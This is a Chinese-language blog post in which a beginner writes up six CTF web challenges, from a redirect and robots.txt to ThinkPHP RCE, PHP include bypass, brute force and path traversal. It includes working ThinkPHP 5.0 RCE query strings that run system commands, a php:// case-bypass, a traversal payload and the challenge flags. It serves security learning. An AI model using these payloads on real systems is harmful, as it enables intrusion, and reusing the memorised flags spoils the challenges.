文章目錄
- 前言
- - - > baby_web
- - - > Training-WWW-Robots
- - - > php_rce
- - - > Web_php_include
- - - > ics-06
- - - > warmup
-
- 總結/收獲
前言
最近也算正式開始了安全方面的學習,想總結一下寫過的一些題目,覺得寫部落格是一個不錯的可以記錄學習曆程的方式,目前是零基礎小白,也是第一次寫部落格,有收藏很多大佬的部落格,往後會好好學習師傅們的部落格内容,優化一下自己的部落格。(有師傅有好的建議的話也可以提一提🌹)
- - > baby_web
* 考點:重定向
題目描述:想想初始頁面是哪個
根據題目描述的提示,通路index.php後發現重定向,嘗試抓包
通路得到flag:flag{very_baby_web}
- - > Training-WWW-Robots
* 考點:robots.txt
通路robots.txt,發現有
通路得到
flagcyberpeace{eac017d052248ca0093cc503b9e8ff07}
- - > php_rce
打開發現是thinkphp5.0架構,直接百度搜尋該架構漏洞
戳- - > thinkphp_RCE漏洞 < - -
直接利用RCE漏洞的payload:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag 得到
再payload:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
flag:flag{thinkphp5_rce}
- - > Web_php_include
* 考點:php://的繞過(php僞協定)
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
strstr()函數:查找字元串首次出現的位置,傳回字元串及後邊剩餘部分
## strstr函數對大小寫不敏感,是以這題可以用PHP://來繞過
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
## 此題還可以用data://來寫
- - > ics-06
* 考點:爆破
題目描述: 雲平台報表中心收集了裝置管理基礎服務的資料,但是資料被删除了,隻有一處留下了入侵者的痕迹。
點開報表中心
抓包爆破ID,從1到10000
cyberpeace{f6eda182317020925da505f78a88a97a}
- - > warmup
* 考點:代碼審計、目錄穿越
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
<img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
substr()函數:substr($str,0,2)傳回字元串中第1個字元開始,長度為2的内容
mb_substr():字元串中可含有中文
mb_strpos(): 傳回被查找的字元串在另一字元串中首次出現的位置
mb_strpos(‘哔啦啦’,‘啦啦’):傳回1
include ‘hint.php?flag.php’; 将傳回後面的檔案
此題payload:?file=hint.php?/…/…/…/…/…/…/ffffllllaaaagggg
得到flag: flag{25e7bce6005c4e0c983fb97297ac6e5a}
總結/收獲
* strstr()函數對大小寫不敏感,可以用此特性繞過